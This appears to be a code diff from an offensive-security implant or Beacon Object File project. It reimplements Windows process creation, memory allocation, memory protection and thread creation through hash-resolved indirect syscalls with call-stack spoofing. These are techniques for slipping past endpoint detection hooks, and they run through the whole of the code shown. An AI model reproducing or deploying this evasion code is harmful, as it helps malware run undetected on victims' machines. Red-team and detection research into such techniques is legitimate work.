return PROCESS_PRIORITY_CLASS_REALTIME;
}
if (priorityFlags == BELOW_NORMAL_PRIORITY_CLASS)
{
return PROCESS_PRIORITY_CLASS_BELOW_NORMAL;
}
if (priorityFlags == ABOVE_NORMAL_PRIORITY_CLASS)
{
return PROCESS_PRIORITY_CLASS_ABOVE_NORMAL;
}
return 0;
}
static BOOL InitSecurityObjectAttributes(POBJECT_ATTRIBUTES attributes, LPSECURITY_ATTRIBUTES securityAttributes)
{
if (securityAttributes == NULL)
{
return FALSE;
}
if (securityAttributes->nLength < sizeof(SECURITY_ATTRIBUTES))
{
return FALSE;
}
InitializeObjectAttributes(attributes, NULL, securityAttributes->bInheritHandle ? OBJ_INHERIT : 0, NULL, securityAttributes->lpSecurityDescriptor);
return TRUE;
}
static BOOL CloseNativeHandle(HANDLE handle)
{
SYSCALL_ARG args[1] = {
(SYSCALL_ARG)handle};
if (handle == NULL || handle == INVALID_HANDLE_VALUE)
{
return TRUE;
}
return NT_SUCCESS(SpoofedSyscall(NTCLOSE_HASH, args));
}
static void DestroyCreatedProcess(HANDLE processHandle, HANDLE threadHandle)
{
if (threadHandle != NULL && threadHandle != INVALID_HANDLE_VALUE)
{
CloseNativeHandle(threadHandle);
}
if (processHandle != NULL && processHandle != INVALID_HANDLE_VALUE)
{
SYSCALL_ARG terminateArgs[2] = {
(SYSCALL_ARG)processHandle,
(SYSCALL_ARG)STATUS_UNSUCCESSFUL};
SpoofedSyscall(NTTERMINATEPROCESS_HASH, terminateArgs);
CloseNativeHandle(processHandle);
}
}
BOOL CreateProcessInternalA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
{
DWORD startupFlags = 0;
DWORD unsupportedFlags = 0;
DWORD priorityClass = 0;
BOOL environmentAllocated = FALSE;
BOOL hasProcessAttributes = FALSE;
BOOL hasThreadAttributes = FALSE;
BOOL success = FALSE;
LPSTR resolvedImagePathA = NULL;
LPSTR synthesizedCommandLineA = NULL;
LPWSTR imagePathW = NULL;
LPWSTR commandLineW = NULL;
LPWSTR currentDirectoryW = NULL;
LPWSTR desktopW = NULL;
LPWSTR titleW = NULL;
LPVOID environmentBlock = NULL;
HANDLE processHandle = NULL;
HANDLE threadHandle = NULL;
DWORD processId = 0;
DWORD threadId = 0;
UNICODE_STRING imagePath = {0};
UNICODE_STRING commandLine = {0};
UNICODE_STRING currentDirectory = {0};
UNICODE_STRING desktop = {0};
UNICODE_STRING title = {0};
UNICODE_STRING ntImagePath = {0};
OBJECT_ATTRIBUTES processObjectAttributes = {0};
OBJECT_ATTRIBUTES threadObjectAttributes = {0};
PS_CREATE_INFO_LOCAL createInfo = {0};
PS_ATTRIBUTE_LIST_LOCAL attributeList = {0};
ULONG attributeCount = 0;
PRTL_USER_PROCESS_PARAMETERS processParameters = NULL;
RTL_USER_PROCESS_PARAMETERS_EXTENDED_LOCAL *parametersEx = NULL;
// Match CreateProcessA-style caller expectations: the output structure is
// always cleared before we start mutating state.
ZeroProcessInformation(lpProcessInformation);
// Keep the supported contract narrow and explicit. Anything outside the
// implemented subset returns FALSE before native state is created.
if (lpProcessInformation == NULL || lpStartupInfo == NULL)
{
WARN_MSG("\t\tCreateProcessInternalA rejected invalid parameters");
return FALSE;
}
if (lpStartupInfo->cb < sizeof(STARTUPINFOA))
{
WARN_MSG("\t\tCreateProcessInternalA rejected STARTUPINFOA with invalid cb");
return FALSE;
}
if ((lpApplicationName == NULL || lpApplicationName[0] == '\0') && (lpCommandLine == NULL || lpCommandLine[0] == '\0'))
{
WARN_MSG("\t\tCreateProcessInternalA rejected missing application and command line");
return FALSE;
}
unsupportedFlags = dwCreationFlags & ~CREATE_PROCESS_ALLOWED_FLAGS;
if (unsupportedFlags != 0)
{
WARN_MSG("\t\tCreateProcessInternalA rejected unsupported creation flags 0x%08X", unsupportedFlags);
return FALSE;
}
if ((dwCreationFlags & CREATE_NEW_CONSOLE) != 0 && (dwCreationFlags & DETACHED_PROCESS) != 0)
{
WARN_MSG("\t\tCreateProcessInternalA rejected mutually exclusive console flags");
return FALSE;
}
startupFlags = lpStartupInfo->dwFlags;
if ((startupFlags & ~STARTUPINFO_ALLOWED_FLAGS) != 0 || lpStartupInfo->lpReserved != NULL || lpStartupInfo->lpReserved2 != NULL || lpStartupInfo->cbReserved2 != 0)
{
WARN_MSG("\t\tCreateProcessInternalA rejected unsupported STARTUPINFOA fields");
return FALSE;
}
// v1 only forwards std handles when CreateProcessA's inheritance contract
// is satisfied by the caller.
if ((startupFlags & STARTF_USESTDHANDLES) != 0)
{
if (!bInheritHandles)
{
WARN_MSG("\t\tCreateProcessInternalA rejected std handles without handle inheritance");
return FALSE;
}
if (lpStartupInfo->hStdInput == NULL || lpStartupInfo->hStdInput == INVALID_HANDLE_VALUE ||
lpStartupInfo->hStdOutput == NULL || lpStartupInfo->hStdOutput == INVALID_HANDLE_VALUE ||
lpStartupInfo->hStdError == NULL || lpStartupInfo->hStdError == INVALID_HANDLE_VALUE)
{
WARN_MSG("\t\tCreateProcessInternalA rejected invalid std handles");
return FALSE;
}
}
if (lpProcessAttributes != NULL && lpProcessAttributes->nLength < sizeof(SECURITY_ATTRIBUTES))
{
WARN_MSG("\t\tCreateProcessInternalA rejected invalid process security attributes");
return FALSE;
}
if (lpThreadAttributes != NULL && lpThreadAttributes->nLength < sizeof(SECURITY_ATTRIBUTES))
{
WARN_MSG("\t\tCreateProcessInternalA rejected invalid thread security attributes");
return FALSE;
}
priorityClass = MapPriorityClassValue(dwCreationFlags);
if (priorityClass == 0)
{
WARN_MSG("\t\tCreateProcessInternalA rejected unsupported priority class flags");
return FALSE;
}
resolvedImagePathA = ResolveImagePathA(lpApplicationName, lpCommandLine);
if (resolvedImagePathA == NULL)
{
WARN_MSG("\t\tCreateProcessInternalA failed to resolve image path");
goto cleanup;
}
synthesizedCommandLineA = (lpCommandLine != NULL) ? NULL : BuildQuotedCommandLineA(resolvedImagePathA);
if (lpCommandLine == NULL && synthesizedCommandLineA == NULL)
{
WARN_MSG("\t\tCreateProcessInternalA failed to allocate synthesized command line");
goto cleanup;
}
imagePathW = ConvertAnsiToWide(resolvedImagePathA);
commandLineW = ConvertAnsiToWide(lpCommandLine != NULL ? lpCommandLine : synthesizedCommandLineA);
if (imagePathW == NULL || commandLineW == NULL)
{
WARN_MSG("\t\tCreateProcessInternalA failed to convert image or command line to wide chars");
goto cleanup;
}
if (lpCurrentDirectory != NULL)
{
currentDirectoryW = ConvertAnsiToWide(lpCurrentDirectory);
if (currentDirectoryW == NULL)
{
WARN_MSG("\t\tCreateProcessInternalA failed to convert current directory to wide chars");
goto cleanup;
}
}
if (lpStartupInfo->lpDesktop != NULL)
{
desktopW = ConvertAnsiToWide(lpStartupInfo->lpDesktop);
if (desktopW == NULL)
{
WARN_MSG("\t\tCreateProcessInternalA failed to convert desktop to wide chars");
goto cleanup;
}
}
if (lpStartupInfo->lpTitle != NULL)
{
titleW = ConvertAnsiToWide(lpStartupInfo->lpTitle);
if (titleW == NULL)
{
WARN_MSG("\t\tCreateProcessInternalA failed to convert title to wide chars");
goto cleanup;
}
}
environmentBlock = PrepareEnvironmentBlock(lpEnvironment, dwCreationFlags, &environmentAllocated);
if (lpEnvironment != NULL && environmentBlock == NULL)
{
WARN_MSG("\t\tCreateProcessInternalA failed to prepare environment block");
goto cleanup;
}
// Build the strings consumed by RtlCreateProcessParametersEx from the ANSI
// front-end arguments accepted by CreateProcessA.
InitUnicodeStringFromWide(&imagePath, imagePathW);
InitUnicodeStringFromWide(&commandLine, commandLineW);
if (currentDirectoryW != NULL)
{
InitUnicodeStringFromWide(&currentDirectory, currentDirectoryW);
}
if (desktopW != NULL)
{
InitUnicodeStringFromWide(&desktop, desktopW);
}
if (titleW != NULL)
{
InitUnicodeStringFromWide(&title, titleW);
}
if (!NTDLL$RtlDosPathNameToNtPathName_U(imagePathW, &ntImagePath, NULL, NULL))
{
WARN_MSG("\t\tCreateProcessInternalA failed to convert image path to NT path");
goto cleanup;
}
{
// Let ntdll build the normalized native parameter block instead of
// recreating the layout manually.
NTSTATUS status = NTDLL$RtlCreateProcessParametersEx(&processParameters,
&imagePath,
NULL,
(currentDirectoryW != NULL) ? &currentDirectory : NULL,
&commandLine,
environmentBlock,
(titleW != NULL) ? &title : NULL,
(desktopW != NULL) ? &desktop : NULL,
NULL,
NULL,
RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
if (!NT_SUCCESS(status))
{
WARN_MSG("\t\tRtlCreateProcessParametersEx failed with status 0x%08X", status);
goto cleanup;
}
}
// The extended view lets us preserve the Win32-facing startup fields after
// RtlCreateProcessParametersEx lays out the native block.
parametersEx = (RTL_USER_PROCESS_PARAMETERS_EXTENDED_LOCAL *)processParameters;
parametersEx->WindowFlags = startupFlags;
parametersEx->ShowWindowFlags = (startupFlags & STARTF_USESHOWWINDOW) ? lpStartupInfo->wShowWindow : SW_SHOWNORMAL;
parametersEx->StartingX = lpStartupInfo->dwX;
parametersEx->StartingY = lpStartupInfo->dwY;
parametersEx->CountX = lpStartupInfo->dwXSize;
parametersEx->CountY = lpStartupInfo->dwYSize;
parametersEx->CountCharsX = lpStartupInfo->dwXCountChars;
parametersEx->CountCharsY = lpStartupInfo->dwYCountChars;
parametersEx->FillAttribute = lpStartupInfo->dwFillAttribute;
if ((startupFlags & STARTF_USESTDHANDLES) != 0)
{
parametersEx->StandardInput = lpStartupInfo->hStdInput;
parametersEx->StandardOutput = lpStartupInfo->hStdOutput;
parametersEx->StandardError = lpStartupInfo->hStdError;
}
if ((dwCreationFlags & DETACHED_PROCESS) != 0)
{
parametersEx->ConsoleHandle = HANDLE_DETACHED_PROCESS;
}
else if ((dwCreationFlags & CREATE_NEW_CONSOLE) != 0)
{
parametersEx->ConsoleHandle = HANDLE_CREATE_NEW_CONSOLE;
}
else if ((dwCreationFlags & CREATE_NO_WINDOW) != 0)
{
parametersEx->ConsoleHandle = HANDLE_CREATE_NO_WINDOW;
}
hasProcessAttributes = InitSecurityObjectAttributes(&processObjectAttributes, lpProcessAttributes);
hasThreadAttributes = InitSecurityObjectAttributes(&threadObjectAttributes, lpThreadAttributes);
// PsCreateInitialState is enough for the practical CreateProcessA subset
// implemented here: image path, priority class, startup fields and basic
// handle inheritance.
createInfo.Size = sizeof(createInfo);
createInfo.State = PsCreateInitialState;
attributeList.Attributes[attributeCount].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
attributeList.Attributes[attributeCount].Size = ntImagePath.Length;
attributeList.Attributes[attributeCount].ValuePtr = ntImagePath.Buffer;
attributeList.Attributes[attributeCount].ReturnLength = NULL;
attributeCount++;
attributeList.Attributes[attributeCount].Attribute = PS_ATTRIBUTE_PRIORITY_CLASS;
attributeList.Attributes[attributeCount].Size = sizeof(priorityClass);
attributeList.Attributes[attributeCount].Value = priorityClass;
attributeList.Attributes[attributeCount].ReturnLength = NULL;
attributeCount++;
attributeList.TotalLength = sizeof(SIZE_T) + (attributeCount * sizeof(PS_ATTRIBUTE_LOCAL));
{
ULONG processFlags = bInheritHandles ? PROCESS_CREATE_FLAGS_INHERIT_HANDLES : 0;
ACCESS_MASK processAccess = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_TERMINATE | SYNCHRONIZE;
ACCESS_MASK threadAccess = THREAD_QUERY_LIMITED_INFORMATION | THREAD_SUSPEND_RESUME | SYNCHRONIZE;
// Create the primary thread suspended first so we can match Win32
// semantics and roll back cleanly if post-create setup fails.
ULONG threadFlags = THREAD_CREATE_FLAGS_CREATE_SUSPENDED;
SYSCALL_ARG args[11] = {
(SYSCALL_ARG)&processHandle,
(SYSCALL_ARG)&threadHandle,
(SYSCALL_ARG)processAccess,
(SYSCALL_ARG)threadAccess,
(SYSCALL_ARG)(hasProcessAttributes ? &processObjectAttributes : NULL),
(SYSCALL_ARG)(hasThreadAttributes ? &threadObjectAttributes : NULL),
(SYSCALL_ARG)processFlags,
(SYSCALL_ARG)threadFlags,
(SYSCALL_ARG)processParameters,
(SYSCALL_ARG)&createInfo,
(SYSCALL_ARG)&attributeList};
NTSTATUS status = SpoofedSyscall(NTCREATEUSERPROCESS_HASH, args);
if (!NT_SUCCESS(status))
{
WARN_MSG("\t\tNtCreateUserProcess failed with status 0x%08X", status);
goto cleanup;
}
}
if ((dwCreationFlags & CREATE_SUSPENDED) == 0)
{
ULONG previousSuspendCount = 0;
SYSCALL_ARG args[2] = {
(SYSCALL_ARG)threadHandle,
(SYSCALL_ARG)&previousSuspendCount};
NTSTATUS status = SpoofedSyscall(NTRESUMETHREAD_HASH, args);
if (!NT_SUCCESS(status))
{
WARN_MSG("\t\tNtResumeThread failed with status 0x%08X", status);
DestroyCreatedProcess(processHandle, threadHandle);
processHandle = NULL;
threadHandle = NULL;
goto cleanup;
}
}
processId = KERNEL32$GetProcessId(processHandle);
threadId = KERNEL32$GetThreadId(threadHandle);
if (processId == 0 || threadId == 0)
{
WARN_MSG("\t\tCreateProcessInternalA failed to resolve process or thread IDs");
DestroyCreatedProcess(processHandle, threadHandle);
processHandle = NULL;
threadHandle = NULL;
goto cleanup;
}
lpProcessInformation->hProcess = processHandle;
lpProcessInformation->hThread = threadHandle;
lpProcessInformation->dwProcessId = processId;
lpProcessInformation->dwThreadId = threadId;
processHandle = NULL;
threadHandle = NULL;
success = TRUE;
cleanup:
// Cleanup is centralized so partial native state is always unwound the same
// way, regardless of which preparation or syscall step failed.
if (!success)
{
ZeroProcessInformation(lpProcessInformation);
if (threadHandle != NULL || processHandle != NULL)
{
DestroyCreatedProcess(processHandle, threadHandle);
threadHandle = NULL;
processHandle = NULL;
}
}
if (processParameters != NULL)
{
NTDLL$RtlDestroyProcessParameters(processParameters);
}
if (ntImagePath.Buffer != NULL)
{
NTDLL$RtlFreeUnicodeString(&ntImagePath);
}
if (environmentAllocated)
{
FreeBytes(environmentBlock);
}
FreeBytes(titleW);
FreeBytes(desktopW);
FreeBytes(currentDirectoryW);
FreeBytes(commandLineW);
FreeBytes(imagePathW);
FreeBytes(synthesizedCommandLineA);
FreeBytes(resolvedImagePathA);
return success;
}
+171
View File
@@ -0,0 +1,171 @@
#pragma once
#include <winternl.h>
#include "hooks.h"
#define RTL_USER_PROCESS_PARAMETERS_NORMALIZED 0x00000001
#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004
#define HANDLE_DETACHED_PROCESS ((HANDLE)(LONG_PTR)-1)
#define HANDLE_CREATE_NEW_CONSOLE ((HANDLE)(LONG_PTR)-2)
#define HANDLE_CREATE_NO_WINDOW ((HANDLE)(LONG_PTR)-3)
#define PROCESS_PRIORITY_CLASS_IDLE 1
#define PROCESS_PRIORITY_CLASS_NORMAL 2
#define PROCESS_PRIORITY_CLASS_HIGH 3
#define PROCESS_PRIORITY_CLASS_REALTIME 4
#define PROCESS_PRIORITY_CLASS_BELOW_NORMAL 5
#define PROCESS_PRIORITY_CLASS_ABOVE_NORMAL 6
#define CREATE_PROCESS_PRIORITY_FLAGS (IDLE_PRIORITY_CLASS | NORMAL_PRIORITY_CLASS | HIGH_PRIORITY_CLASS | REALTIME_PRIORITY_CLASS | BELOW_NORMAL_PRIORITY_CLASS | ABOVE_NORMAL_PRIORITY_CLASS)
#define CREATE_PROCESS_ALLOWED_FLAGS (CREATE_SUSPENDED | CREATE_NEW_CONSOLE | CREATE_NO_WINDOW | DETACHED_PROCESS | CREATE_UNICODE_ENVIRONMENT | CREATE_PROCESS_PRIORITY_FLAGS)
#define STARTUPINFO_ALLOWED_FLAGS (STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES | STARTF_USEPOSITION | STARTF_USESIZE | STARTF_USECOUNTCHARS | STARTF_USEFILLATTRIBUTE | STARTF_FORCEONFEEDBACK | STARTF_FORCEOFFFEEDBACK)
#define PS_ATTRIBUTE_THREAD 0x00010000UL
#define PS_ATTRIBUTE_INPUT 0x00020000UL
#define PS_ATTRIBUTE_ADDITIVE 0x00040000UL
#define PS_ATTRIBUTE_VALUE(Number, Thread, Input, Additive) (((Number) & 0xFFFFUL) | ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | ((Input) ? PS_ATTRIBUTE_INPUT : 0) | ((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0))
#define PS_ATTRIBUTE_IMAGE_NAME PS_ATTRIBUTE_VALUE(PsAttributeImageName, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_PRIORITY_CLASS PS_ATTRIBUTE_VALUE(PsAttributePriorityClass, FALSE, TRUE, FALSE)
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
DECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SearchPathA(LPCSTR lpPath, LPCSTR lpFileName, LPCSTR lpExtension, DWORD nBufferLength, LPSTR lpBuffer, LPSTR *lpFilePart);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFullPathNameA(LPCSTR lpFileName, DWORD nBufferLength, LPSTR lpBuffer, LPSTR *lpFilePart);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE hProcess);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetThreadId(HANDLE hThread);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$RtlCreateProcessParametersEx(PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData, ULONG Flags);
DECLSPEC_IMPORT VOID NTAPI NTDLL$RtlDestroyProcessParameters(PRTL_USER_PROCESS_PARAMETERS ProcessParameters);
DECLSPEC_IMPORT BOOL NTAPI NTDLL$RtlDosPathNameToNtPathName_U(PCWSTR DosPathName, PUNICODE_STRING NtPathName, PCWSTR *NtFileNamePart, VOID *DirectoryInfo);
DECLSPEC_IMPORT VOID NTAPI NTDLL$RtlFreeUnicodeString(PUNICODE_STRING UnicodeString);
// winternl.h exposes only a truncated RTL_USER_PROCESS_PARAMETERS, so we keep
// the fields that CreateProcess-style setup needs locally.
typedef struct _CURDIR_LOCAL {
UNICODE_STRING DosPath;
HANDLE Handle;
} CURDIR_LOCAL;
typedef struct _RTL_DRIVE_LETTER_CURDIR_LOCAL {
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR_LOCAL;
typedef struct _RTL_USER_PROCESS_PARAMETERS_EXTENDED_LOCAL {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR_LOCAL CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR_LOCAL CurrentDirectories[32];
} RTL_USER_PROCESS_PARAMETERS_EXTENDED_LOCAL;
typedef enum _PS_CREATE_STATE_LOCAL {
PsCreateInitialState = 0,
PsCreateFailOnFileOpen = 1,
PsCreateFailOnSectionCreate = 2,
PsCreateFailExeFormat = 3,
PsCreateFailMachineMismatch = 4,
PsCreateFailExeName = 5,
PsCreateSuccess = 6
} PS_CREATE_STATE_LOCAL;
typedef struct _PS_CREATE_INFO_LOCAL {
SIZE_T Size;
PS_CREATE_STATE_LOCAL State;
union {
struct {
ULONG InitFlags;
ACCESS_MASK AdditionalFileAccess;
} InitState;
struct {
HANDLE FileHandle;
} FailSection;
struct {
USHORT DllCharacteristics;
} ExeFormat;
struct {
HANDLE IFEOKey;
} ExeName;
struct {
union {
ULONG OutputFlags;
struct {
UCHAR ProtectedProcess : 1;
UCHAR AddressSpaceOverride : 1;
UCHAR DevOverrideEnabled : 1;
UCHAR ManifestDetected : 1;
UCHAR ProtectedProcessLight : 1;
UCHAR SpareBits1 : 3;
UCHAR SpareBits2 : 8;
USHORT SpareBits3 : 16;
};
};
HANDLE FileHandle;
HANDLE SectionHandle;
ULONGLONG UserProcessParametersNative;
ULONG UserProcessParametersWow64;
ULONG CurrentParameterFlags;
ULONGLONG PebAddressNative;
ULONG PebAddressWow64;
ULONGLONG ManifestAddress;
ULONG ManifestSize;
} SuccessState;
};
} PS_CREATE_INFO_LOCAL;
typedef enum _PS_ATTRIBUTE_NUM_LOCAL {
PsAttributeParentProcess = 0,
PsAttributeDebugPort = 1,
PsAttributeToken = 2,
PsAttributeClientId = 3,
PsAttributeTebAddress = 4,
PsAttributeImageName = 5,
PsAttributeImageInfo = 6,
PsAttributeMemoryReserve = 7,
PsAttributePriorityClass = 8,
PsAttributeErrorMode = 9,
PsAttributeStdHandleInfo = 10
} PS_ATTRIBUTE_NUM_LOCAL;
typedef struct _PS_ATTRIBUTE_LOCAL {
ULONG_PTR Attribute;
SIZE_T Size;
union {
ULONG_PTR Value;
PVOID ValuePtr;
};
PSIZE_T ReturnLength;
} PS_ATTRIBUTE_LOCAL;
typedef struct _PS_ATTRIBUTE_LIST_LOCAL {
SIZE_T TotalLength;
PS_ATTRIBUTE_LOCAL Attributes[2];
} PS_ATTRIBUTE_LIST_LOCAL;
BOOL CreateProcessInternalA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
+188
View File
@@ -0,0 +1,188 @@
#include "hooks.h"
#include "create_process.h"
NTSTATUS _SpoofedSyscallImpl(DWORD functionHash, const SYSCALL_ARG *args, int argsc)
{
if (argsc < 0 || argsc > SPOOF_CALL_MAX_ARGS || (argsc > 0 && args == NULL))
{
ERROR_MSG("\t\tInvalid syscall arguments");
return STATUS_INVALID_PARAMETER;
}
PVOID pNtdll = findModuleByHash(NTDLL_HASH);
if (pNtdll == NULL)
{
ERROR_MSG("\t\tFailed to find pNtdll.dll");
return STATUS_PROCEDURE_NOT_FOUND;
}
PVOID pNtFunction = findFunctionByHash(pNtdll, functionHash);
if (pNtFunction == NULL)
{
ERROR_MSG("\t\tFailed to find function by hash 0x%08X", functionHash);
return STATUS_PROCEDURE_NOT_FOUND;
}
SYSCALL_GATE syscall = {0};
if (!GetSyscall(pNtdll, pNtFunction, &syscall))
{
ERROR_MSG("\t\tGetSyscall failed for function hash 0x%08X", functionHash);
return STATUS_UNSUCCESSFUL;
}
// spoof_call needs a concrete argc because the assembly stub is expanded
// into fixed argument slots.
FUNCTION_CALL call = {0};
call.ptr = syscall.jmpAddr;
call.ssn = syscall.ssn;
call.argc = argsc;
for (int i = 0; i < argsc; i++)
{
call.args[i] = args[i];
}
return (NTSTATUS)spoof_call(&call);
}
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
INFO_MSG("\t\tCalling _VirtualAlloc");
SYSCALL_ARG args[6] = {
(SYSCALL_ARG)NtCurrentProcess(),
(SYSCALL_ARG)&lpAddress,
0,
(SYSCALL_ARG)&dwSize,
(SYSCALL_ARG)flAllocationType,
(SYSCALL_ARG)flProtect};
NTSTATUS status = SpoofedSyscall(NTALLOCATEVIRTUALMEMORY_HASH, args);
if (!NT_SUCCESS(status)){
WARN_MSG("\t\tNtAllocateVirtualMemory failed: 0x%08X", status);
return NULL;
}
return lpAddress;
}
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
{
INFO_MSG("\t\tCalling _VirtualProtect");
SYSCALL_ARG args[5] = {
(SYSCALL_ARG)NtCurrentProcess(),
(SYSCALL_ARG)&lpAddress,
(SYSCALL_ARG)&dwSize,
(SYSCALL_ARG)flNewProtect,
(SYSCALL_ARG)lpflOldProtect};
NTSTATUS status = SpoofedSyscall(NTPROTECTVIRTUALMEMORY_HASH, args);
if (!NT_SUCCESS(status)){
WARN_MSG("\t\tNtProtectVirtualMemory failed: 0x%08X", status);
return FALSE;
}
return TRUE;
}
BOOL _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
INFO_MSG("\t\tCalling _VirtualFree");
SYSCALL_ARG args[4] = {
(SYSCALL_ARG)NtCurrentProcess(),
(SYSCALL_ARG)&lpAddress,
(SYSCALL_ARG)&dwSize,
(SYSCALL_ARG)dwFreeType};
NTSTATUS status = SpoofedSyscall(NTFREEVIRTUALMEMORY_HASH, args);
if (!NT_SUCCESS(status)){
WARN_MSG("\t\tNtFreeVirtualMemory failed: 0x%08X", status);
return FALSE;
}
return TRUE;
}
HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
{
INFO_MSG("\t\tCalling _CreateThread");
DWORD supportedFlags = CREATE_SUSPENDED | STACK_SIZE_PARAM_IS_A_RESERVATION;
DWORD unsupportedFlags = dwCreationFlags & ~supportedFlags;
ACCESS_MASK desiredAccess = THREAD_QUERY_LIMITED_INFORMATION | THREAD_SUSPEND_RESUME | SYNCHRONIZE;
if (lpStartAddress == NULL)
{
WARN_MSG("\t\t_CreateThread rejected: lpStartAddress is NULL");
return NULL;
}
if (lpThreadAttributes != NULL || unsupportedFlags != 0)
{
WARN_MSG("\t\t_CreateThread falling back to KERNEL32$CreateThread for unsupported parameters");
return KERNEL32$CreateThread(lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId);
}
HANDLE hThread = NULL;
ULONG createFlags = 0;
SIZE_T stackCommit = 0;
SIZE_T stackReserve = 0;
if (dwCreationFlags & CREATE_SUSPENDED)
{
createFlags |= THREAD_CREATE_FLAGS_CREATE_SUSPENDED;
}
if (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION)
{
stackReserve = dwStackSize;
}
else
{
stackCommit = dwStackSize;
}
SYSCALL_ARG args[11] = {
(SYSCALL_ARG)&hThread,
(SYSCALL_ARG)desiredAccess,
(SYSCALL_ARG)NULL,
(SYSCALL_ARG)NtCurrentProcess(),
(SYSCALL_ARG)lpStartAddress,
(SYSCALL_ARG)lpParameter,
(SYSCALL_ARG)createFlags,
0,
(SYSCALL_ARG)stackCommit,
(SYSCALL_ARG)stackReserve,
(SYSCALL_ARG)NULL};
NTSTATUS status = SpoofedSyscall(NTCREATETHREADEX_HASH, args);
if (!NT_SUCCESS(status))
{
WARN_MSG("\t\tNtCreateThreadEx failed with status 0x%08X, falling back to KERNEL32$CreateThread", status);
return KERNEL32$CreateThread(lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId);
}
if (lpThreadId != NULL)
{
*lpThreadId = KERNEL32$GetThreadId(hThread);
}
return hThread;
}
BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
{
INFO_MSG("\t\tCalling _CreateProcessA");
return CreateProcessInternalA(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
}
+20
View File
@@ -0,0 +1,20 @@
#include "utils/debug.h"
#include "utils/utils.h"
#include "include/ntstatus.h"
#include "spoof.h"
#include "syscalls.h"
#include "nt_hashes.h"
#ifndef THREAD_CREATE_FLAGS_CREATE_SUSPENDED
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
#endif
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetThreadId(HANDLE hThread);
typedef ULONG_PTR SYSCALL_ARG;
NTSTATUS _SpoofedSyscallImpl(DWORD functionHash, const SYSCALL_ARG *args, int argsc);
